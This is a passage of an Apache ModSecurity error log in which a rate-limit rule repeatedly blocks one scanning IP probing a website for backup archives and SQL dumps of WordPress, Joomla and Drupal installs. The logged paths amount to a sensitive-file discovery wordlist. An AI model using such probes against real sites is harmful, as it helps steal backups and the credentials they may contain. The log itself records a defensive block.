[Fri May 15 09:59:55.970906 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:36698] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.tgz"] [unique_id "agZ-G972N9CbeiqcqgPVAQAAAVE"]
[Fri May 15 09:59:56.678145 2026] [:error] [pid 1295:tid 1316] [client 34.97.8.90:36704] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.tar"] [unique_id "agZ-HNmMhqLvs0GYixkb-gAAANI"]
[Fri May 15 09:59:57.423127 2026] [:error] [pid 50531:tid 50545] [client 34.97.8.90:36708] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.tar.bz2"] [unique_id "agZ-HR3WbFwE6voqGzrkOwAAAQw"]
[Fri May 15 09:59:58.181533 2026] [:error] [pid 1188:tid 1212] [client 34.97.8.90:36716] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.tar.xz"] [unique_id "agZ-HtY68iW8yuNkNzPw2wAAAA8"]
[Fri May 15 09:59:58.904967 2026] [:error] [pid 1295:tid 1306] [client 34.97.8.90:36718] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.7z"] [unique_id "agZ-HtmMhqLvs0GYixkb-wAAAMg"]
[Fri May 15 09:59:59.686811 2026] [:error] [pid 1295:tid 1309] [client 34.97.8.90:36724] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.rar"] [unique_id "agZ-H9mMhqLvs0GYixkb_AAAAMs"]
[Fri May 15 10:00:00.459046 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:36740] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.gz"] [unique_id "agZ-IAe36qIGegR4kcmBbwAAAEQ"]
[Fri May 15 10:00:01.217474 2026] [:error] [pid 1188:tid 1211] [client 34.97.8.90:36752] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.bz2"] [unique_id "agZ-IdY68iW8yuNkNzPw3AAAAA4"]
[Fri May 15 10:00:02.066815 2026] [:error] [pid 1295:tid 1320] [client 34.97.8.90:36768] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.zst"] [unique_id "agZ-ItmMhqLvs0GYixkb_wAAANY"]
[Fri May 15 10:00:02.858577 2026] [:error] [pid 1295:tid 1319] [client 34.97.8.90:36774] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.sql.gz"] [unique_id "agZ-ItmMhqLvs0GYixkcAAAAANU"]
[Fri May 15 10:00:03.744629 2026] [:error] [pid 1188:tid 1202] [client 34.97.8.90:36780] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.sql.bz2"] [unique_id "agZ-I9Y68iW8yuNkNzPw3QAAAAU"]
[Fri May 15 10:00:04.646362 2026] [:error] [pid 1189:tid 1248] [client 34.97.8.90:36796] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.sql"] [unique_id "agZ-JAe36qIGegR4kcmBdwAAAFc"]
[Fri May 15 10:00:05.531211 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:36374] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.zip"] [unique_id "agZ-JQe36qIGegR4kcmBfgAAAEc"]
[Fri May 15 10:00:06.370780 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:36384] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.tar.gz"] [unique_id "agZ-Jt72N9CbeiqcqgPVCQAAAUM"]
[Fri May 15 10:00:07.180682 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:36394] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.tgz"] [unique_id "agZ-J972N9CbeiqcqgPVCgAAAVg"]
[Fri May 15 10:00:07.953728 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:36406] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.tar"] [unique_id "agZ-J972N9CbeiqcqgPVCwAAAUc"]
[Fri May 15 10:00:08.707189 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:36410] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.tar.bz2"] [unique_id "agZ-KN72N9CbeiqcqgPVDAAAAUY"]
[Fri May 15 10:00:09.442142 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:36414] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.tar.xz"] [unique_id "agZ-KdmMhqLvs0GYixkcBAAAANQ"]
[Fri May 15 10:00:10.241981 2026] [:error] [pid 1188:tid 1208] [client 34.97.8.90:36418] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.7z"] [unique_id "agZ-KtY68iW8yuNkNzPw4AAAAAs"]
[Fri May 15 10:00:10.971154 2026] [:error] [pid 1189:tid 1246] [client 34.97.8.90:36420] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.rar"] [unique_id "agZ-Kge36qIGegR4kcmBgAAAAFU"]
[Fri May 15 10:00:11.738318 2026] [:error] [pid 1295:tid 1321] [client 34.97.8.90:36436] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.gz"] [unique_id "agZ-K9mMhqLvs0GYixkcBQAAANc"]
[Fri May 15 10:00:12.480106 2026] [:error] [pid 1188:tid 1209] [client 34.97.8.90:36442] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.bz2"] [unique_id "agZ-LNY68iW8yuNkNzPw4QAAAAw"]
[Fri May 15 10:00:13.236778 2026] [:error] [pid 50531:tid 50547] [client 34.97.8.90:36444] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.zst"] [unique_id "agZ-LR3WbFwE6voqGzrkQwAAAQ4"]
[Fri May 15 10:00:13.984923 2026] [:error] [pid 50531:tid 50557] [client 34.97.8.90:36446] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.sql.gz"] [unique_id "agZ-LR3WbFwE6voqGzrkRQAAARg"]
[Fri May 15 10:00:14.691332 2026] [:error] [pid 1188:tid 1218] [client 34.97.8.90:36456] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.sql.bz2"] [unique_id "agZ-LtY68iW8yuNkNzPw4wAAABU"]
[Fri May 15 10:00:15.422268 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:53482] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes.sql"] [unique_id "agZ-L972N9CbeiqcqgPVEAAAAUQ"]
[Fri May 15 10:00:16.193488 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:53498] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.zip"] [unique_id "agZ-MN72N9CbeiqcqgPVEwAAAVI"]
[Fri May 15 10:00:16.961942 2026] [:error] [pid 1190:tid 1252] [client 34.97.8.90:53512] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.tar.gz"] [unique_id "agZ-MNqiXrD7hne4gFbJhwAAAIA"]
[Fri May 15 10:00:17.786355 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:53524] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.tgz"] [unique_id "agZ-Md72N9CbeiqcqgPVFgAAAU8"]
[Fri May 15 10:00:18.589712 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:53530] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.tar"] [unique_id "agZ-Mt72N9CbeiqcqgPVFwAAAUM"]
[Fri May 15 10:00:19.447031 2026] [:error] [pid 1188:tid 1204] [client 34.97.8.90:53536] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.tar.bz2"] [unique_id "agZ-M9Y68iW8yuNkNzPw5wAAAAc"]
[Fri May 15 10:00:20.367626 2026] [:error] [pid 1295:tid 1308] [client 34.97.8.90:53542] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.tar.xz"] [unique_id "agZ-NNmMhqLvs0GYixkcBgAAAMo"]
[Fri May 15 10:00:21.269588 2026] [:error] [pid 1190:tid 1259] [client 34.97.8.90:53550] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.7z"] [unique_id "agZ-NdqiXrD7hne4gFbJiwAAAIc"]
[Fri May 15 10:00:22.182267 2026] [:error] [pid 1188:tid 1205] [client 34.97.8.90:53558] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.rar"] [unique_id "agZ-NtY68iW8yuNkNzPw6gAAAAg"]
[Fri May 15 10:00:23.064945 2026] [:error] [pid 1188:tid 1200] [client 34.97.8.90:53572] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.gz"] [unique_id "agZ-N9Y68iW8yuNkNzPw6wAAAAM"]
[Fri May 15 10:00:23.969333 2026] [:error] [pid 1188:tid 1217] [client 34.97.8.90:53574] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.bz2"] [unique_id "agZ-N9Y68iW8yuNkNzPw7AAAABQ"]
[Fri May 15 10:00:24.881777 2026] [:error] [pid 50531:tid 50544] [client 34.97.8.90:53444] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.zst"] [unique_id "agZ-OB3WbFwE6voqGzrkRwAAAQs"]
[Fri May 15 10:00:25.772900 2026] [:error] [pid 50531:tid 50545] [client 34.97.8.90:53456] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.sql.gz"] [unique_id "agZ-OR3WbFwE6voqGzrkSAAAAQw"]
[Fri May 15 10:00:26.714356 2026] [:error] [pid 1190:tid 1276] [client 34.97.8.90:53466] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.sql.bz2"] [unique_id "agZ-OtqiXrD7hne4gFbJjgAAAJg"]
[Fri May 15 10:00:27.694651 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:53474] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wordpress.sql"] [unique_id "agZ-O972N9CbeiqcqgPVGQAAAUc"]
[Fri May 15 10:00:28.611912 2026] [:error] [pid 50531:tid 50537] [client 34.97.8.90:53484] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.zip"] [unique_id "agZ-PB3WbFwE6voqGzrkSgAAAQQ"]
[Fri May 15 10:00:29.478601 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:53496] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.tar.gz"] [unique_id "agZ-Pd72N9CbeiqcqgPVGgAAAUw"]
[Fri May 15 10:00:30.419376 2026] [:error] [pid 1295:tid 1310] [client 34.97.8.90:53510] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.tgz"] [unique_id "agZ-PtmMhqLvs0GYixkcCwAAAMw"]
[Fri May 15 10:00:31.326708 2026] [:error] [pid 1295:tid 1301] [client 34.97.8.90:53518] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.tar"] [unique_id "agZ-P9mMhqLvs0GYixkcDAAAAMM"]
[Fri May 15 10:00:32.245523 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:53522] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.tar.bz2"] [unique_id "agZ-QN72N9CbeiqcqgPVHQAAAVE"]
[Fri May 15 10:00:33.144260 2026] [:error] [pid 50531:tid 50548] [client 34.97.8.90:53530] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.tar.xz"] [unique_id "agZ-QR3WbFwE6voqGzrkTAAAAQ8"]
[Fri May 15 10:00:34.046656 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:53540] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.7z"] [unique_id "agZ-Qt72N9CbeiqcqgPVIQAAAUU"]
[Fri May 15 10:00:34.953929 2026] [:error] [pid 51234:tid 51236] [client 34.97.8.90:45808] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.rar"] [unique_id "agZ-Qt72N9CbeiqcqgPVIwAAAUA"]
[Fri May 15 10:00:35.832327 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:45818] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.gz"] [unique_id "agZ-Q972N9CbeiqcqgPVJgAAAUM"]
[Fri May 15 10:00:36.712568 2026] [:error] [pid 51234:tid 51246] [client 34.97.8.90:45830] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.bz2"] [unique_id "agZ-RN72N9CbeiqcqgPVKAAAAUo"]
[Fri May 15 10:00:37.626493 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:45834] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.zst"] [unique_id "agZ-RdqiXrD7hne4gFbJkQAAAJc"]
[Fri May 15 10:00:38.461754 2026] [:error] [pid 1190:tid 1269] [client 34.97.8.90:45840] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.sql.gz"] [unique_id "agZ-RtqiXrD7hne4gFbJkgAAAJE"]
[Fri May 15 10:00:39.365005 2026] [:error] [pid 1190:tid 1270] [client 34.97.8.90:45852] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.sql.bz2"] [unique_id "agZ-R9qiXrD7hne4gFbJkwAAAJI"]
[Fri May 15 10:00:40.299623 2026] [:error] [pid 50531:tid 50556] [client 34.97.8.90:45856] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/joomla.sql"] [unique_id "agZ-SB3WbFwE6voqGzrkTgAAARc"]
[Fri May 15 10:00:41.167763 2026] [:error] [pid 1190:tid 1261] [client 34.97.8.90:45872] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.zip"] [unique_id "agZ-SdqiXrD7hne4gFbJlQAAAIk"]
[Fri May 15 10:00:42.052799 2026] [:error] [pid 50531:tid 50533] [client 34.97.8.90:45878] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.tar.gz"] [unique_id "agZ-Sh3WbFwE6voqGzrkUAAAAQA"]
